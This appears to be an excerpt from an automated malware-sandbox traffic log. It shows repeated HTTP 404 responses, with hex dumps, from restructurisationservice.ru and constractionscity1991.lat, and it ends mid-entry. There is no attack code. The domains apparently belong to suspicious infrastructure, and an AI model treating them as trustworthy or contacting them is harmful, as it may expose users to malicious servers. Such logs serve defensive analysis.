Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 10:00:41 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 73 74 72 75 63 74 75 72 69 73 61 74 69 6f 6e 73 65 72 76 69 63 65 2e 72 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 10:00:48 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 63 6f 6e 73 74 72 61 63 74 69 6f 6e 73 63 69 74 79 31 39 39 31 2e 6c 61 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 10:00:50 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 73 74 72 75 63 74 75 72 69 73 61 74 69 6f 6e 73 65 72 76 69 63 65 2e 72 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 10:00:57 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 63 6f 6e 73 74 72 61 63 74 69 6f 6e 73 63 69 74 79 31 39 39 31 2e 6c 61 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 10:00:59 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 73 74 72 75 63 74 75 72 69 73 61 74 69 6f 6e 73 65 72 76 69 63 65 2e 72 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 10:01:06 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 63 6f 6e 73 74 72 61 63 74 69 6f 6e 73 63 69 74 79 31 39 39 31 2e 6c 61 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 10:01:07 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 73 74 72 75 63 74 75 72 69 73 61 74 69 6f 6e 73 65 72 76 69 63 65 2e 72 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 10:01:15 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 63 6f 6e 73 74 72 61 63 74 69 6f 6e 73 63 69 74 79 31 39 39 31 2e 6c 61 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 10:01:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 73 74 72 75 63 74 75 72 69 73 61 74 69 6f 6e 73 65 72 76 69 63 65 2e 72 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 10:01:23 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 63 6f 6e 73 74 72 61 63 74 69 6f 6e 73 63 69 74 79 31 39 39 31 2e 6c 61 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 10:01:25 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 73 74 72 75 63 74 75 72 69 73 61 74 69 6f 6e 73 65 72 76 69 63 65 2e 72 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 10:01:32 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 